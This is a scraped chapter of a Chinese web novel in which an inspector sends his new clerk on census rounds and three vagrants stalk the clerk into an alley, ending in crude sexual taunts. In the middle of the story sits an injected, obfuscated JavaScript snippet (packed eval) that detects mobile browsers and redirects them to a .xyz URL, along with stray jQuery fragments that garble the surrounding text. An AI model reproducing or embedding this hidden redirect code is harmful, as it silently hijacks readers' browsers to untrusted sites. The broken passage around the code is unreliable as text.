3. 第 3 章

作品:《亲爱的共犯者

    早上七点五十五分,安和社区卫生中心走廊上人来人往,巡查员们正匆匆为早班做着准备,走廊大门在这时被人砰地一脚踹开——他们的监察官大人今天也准时准点地闪亮登场。


    一进来就问:“书记员来了没?”


    “来了来了,和您前后脚来的。”


    “很好,让他马上来一趟我办公室。”


    ——贺兰森其人。


    白釉区无人不知无人不晓的传奇男子。


    据说他出生前一晚是个暴雪雷鸣、风雨交加的天气,好巧不巧,被专家鉴定为一千年后才会喷发的休眠火山也在那天晚上突然苏醒。


    一时间,灰城犹如末日降临。


    就在专家们急得抓耳挠腮时,另一边的安和医院里,贺兰森被他妈生了下来,于是——风停了雨晴了,火山也歇了,就好像是贺兰森的降生把它们镇压住了一样。


    最开始只是医院内部的传闻,后来不知道怎么越传越广,最后连整个城区都知道了。


    尽管专家强烈呼吁市民不要搞封建迷信,但还是拦不住贺兰森出生即成名。


    之后的人生当然也顺风顺水,大学一毕业就直接进了卫生中心担任最高级监察官,在普通市民眼里简直就是神一样的存在。


    要说有什么不足,可能就是贺兰森的脾气——易燃易爆、唯我独尊,恨不得把“老子天下第一”六个字写脸上。


    拜此所赐,从小女人缘淡薄,大多数姑娘会因为他的长相心生好感,又立刻会因为他的脾气退避三舍。


    谁见了不说一句活该。


    没有女人缘的贺兰森正在办公室里有一下没一下地晃着二郎腿。


    经过昨天一整晚的思忖,初见解青槐时的惊怒已经在贺兰森脑子里消失得无影无踪,取而代之的是势在必得。


    解青槐,没见过,甚至都没怎么从父神嘴里听过的,神的第四个儿子。


    他为何而来,贺兰森当然也很清楚。


    但很不幸,他选了一个不该选的对手。


    贺兰森不怕解青槐,更不怕解青槐会有什么了不起的神力——他的神力如果真有用,见面时就能杀了自己,除此之外,一直跟在解青槐身边的那个男人或许才是最大的阻碍。


    虽然昨天他的态度别说是保护了,简直可以称得上是“冷眼旁观”。


    但在彻底摸清楚那两个人的关系之前,贺兰森不打算做一些会先暴露自己的行动——反正最后按耐不住的不会是他。


    门在这时被叩开了。


    “监察官,您叫我?”


    解青槐穿上了昨天发的那身制服,身后跟着雪弃。


    宽厚的灰狼毛大氅把男人的肩背和腰侧手臂都遮得严严实实。


    “我如果没记错的话,我应该只雇了你一个人吧?”贺兰森指着解青槐身后,“还是你残疾了,必须要个护工在旁边照顾?”


    他本意当然是试探,可解青槐就好像他问了一个愚蠢的问题,示意了下自己的左眼:“监察官没发现吗?我是个半瞎。”


    他这么理直气壮反而让贺兰森一噎:“半瞎算什么残疾?”


    “没有人给我指路,我出门会撞墙撞车撞地铁。您也不想给一个才工作一天的员工赔付高额的赔偿金吧?”


    “……”


    “您把他当空气就行,他很安静的。”


    男人的视线虚虚浮在半空,不知道落在了哪里。


    确实够安静。


    贺兰森啧了声:“今天跟我出去一趟。”


    “去哪儿?”


    “让你跟你就跟少废话。”


    正是工作日的通勤时间,路上车挤车、人挤人,路边喇叭循环播放着《幸福既光明》,失业的程序员蹲在星巴克里用GPT-佛生成假简历撒网式投放给各大企业的HR,早起的流浪汉排着队在公园里接水。


    “我要没记错,你俩昨天也是一起来的吧?你们住一起?”贺兰森揣兜走在解青槐二人前面。


    “您要这么理解也可以。”解青槐说。


    “哦,那你们住在哪儿呢?”


    “我们……”解青槐有些不好意思,“其实我们现在还没有能落脚的地方……昨天在公园凑合了一晚上。”


    “公园?”贺兰森吃惊道,“你们还真是不挑……”


    “我们没有钱。”


    “一分钱都没有?”


    “没有。”


    “怪不得能拿刀捅自己呢,原来是穷疯了。”


    贺兰森嘲弄地说着,他们到了目的地。


    “上个书记员留下的资料我不知道你看了多少,今年白釉区新增的药物领取人大约比去年增长了1%,这些新增人口我们要挨家挨户普查,防止有市民谎报或者不报。”


    贺兰森从兜里摸出一份名单扔给解青槐。


    “这是你负责的街道,查的时候顺便问问家里有没有死亡或失踪的人口,我们要根据统计对药物数量进行调整,限你中午之前统计清楚,完事了给我打电话。”


    “那您呢?”


    “我负责另一片。”


    “可我没有手机。”


    贺兰森眉头又皱起来了,好像看解青槐哪看哪不顺眼,在衣兜里摸了半天掏出一个小型对讲机。


    “对讲机总会用吧?”


    解青槐点点头。


    “那就这样,要是到点了还没统计完你就等着被开除吧。”


    说完这话贺兰森扬长而去,居然真的只是把人带出来工作的。


    “他认出你了。”雪弃看着渐行渐远的人影,是称述句。


    “哦?何以见得?”


    “他没认出你,不会那么在意我是谁。”


    解青槐笑了:“毕竟你就跟我的背后灵一样没存在感嘛。”


    “……”


    “算了,先工作吧,我看看……啧,还挺远,要不狼狼你背我走?”


    “……”


    “开玩笑的。”


    “……”


    白釉区的住宅街道很安静,时不时有几个外卖小哥骑着电瓶车飞驰而过,解青槐坐在雪弃肩上翘着二郎腿往名单上打勾。


    “第二十一家了……到现在只有一家生了小孩,其他每家都有失踪人口。不管过去多少年,这里的警察还是这么无能。”


    “有人。”


    “嗯?”


    “后面十米,有三个人跟着我们。”


    “贺兰森的人?”解青槐挑眉。


    “不知道。”雪弃道,“但身上藏了武器。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622096|172301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“——现在插播一条新闻,昨日傍晚六点二十分,白釉区安和街道一栋居民宅意外失火,警方和消防队迅速赶到现场,事后……”


    “看见前面那家店里的电视了吗?”解青槐维持着看名单的姿势,“到那里把我放下去,然后你和我分开。”


    雪弃闻言侧眸扫过解青槐,对方没有看他,于是他低下头。


    “是。”


    “——警方意外发现,住宅地板下竟藏有一个十米深坑,坑内挖出了数具白骨化的尸体,经法医鉴定,尸体的内脏器官均不翼而飞——”


    雪弃把解青槐从自己肩上放下去,而店内的三十寸大电视上,新闻正播到最精彩的地方。


    “拜拜,一会儿记得回来。”


    雪弃没说话,转瞬消失在大路尽头。


    “事件真相扑朔迷离,警方已于今早紧急逮捕了房子的主人,据相关人员透露,房主曾在短时间内多次往返其他城区,其身份竟是安和医院的医务人员——”


    解青槐转身走进和雪弃去向相反的一条小巷,后面鬼鬼祟祟的三个人影立刻跟了上去。


    越往里走,头顶的树枝越浓密,阳光几乎完全被挡在外面,巷子里越来越阴暗潮湿。


    后面的脚步声渐渐近了。


    “贺监察官。”解青槐摁开对讲机,极轻地对着收音口说,“你在吗?”


    一阵杂音后,那头传来贺兰森的声音。


    “干什么?这么快就查完了?”


    解青槐笑了下说:“你能来救救我吗?”


    “?什么?”


    “……我被跟踪了,应该,有三个人。”


    对面沉默了好一阵。


    “是真的。”解青槐说,“我不知道他们是谁,我朋友现在不在我身边……只有您能救我了。”


    “……”


    “我在二十一号电器店对面的巷子里,您如果不来,明天可能真得在新闻头条上看见你的员工了。”


    说完解青槐摁了关机,三道影子已经近到把他身前自己的影子也覆盖住了。


    “小哥……刚才那个高个子,是你男人吗?你怎么把他赶走了啊?”


    “都怪你让他走了,我们三个不就只能跟着你进来了吗?”


    “你……不会是故意的吧?”


    三个形容糟糕的男人站在巷子中央挡住了解青槐的来路。


    他们身上的衣服皱皱皱巴巴满是线头,有一股常年没清洗过身体的酸臭伴随着汗臭的体味。


    解青槐看见他们畏畏缩缩藏在袖子里的鼓起。


    “打劫?”他问。


    “打劫?哈哈,本来是想打劫来着……”也许是终于看清了解青槐的脸,三个男人脸上流露出一丝垂涎,“但你要是没钱,哥哥们还有个好办法。”


    “?”


    “让我们……快活快活。”男人比了个“O”的手势放在嘴边。


    解青槐难得愣了一下,流浪汉们本以为这个看起来矜贵单薄的青年必然会被吓得满面苍白或是恼羞成怒,可等来的却是青年噗嗤一声的哈哈大笑。


    他像是听到了世界上最滑稽的笑话,笑得往墙边一靠,眼睛都笑眯眯地弯了起来。


    “就你们?”他道,“你给我口差不多。”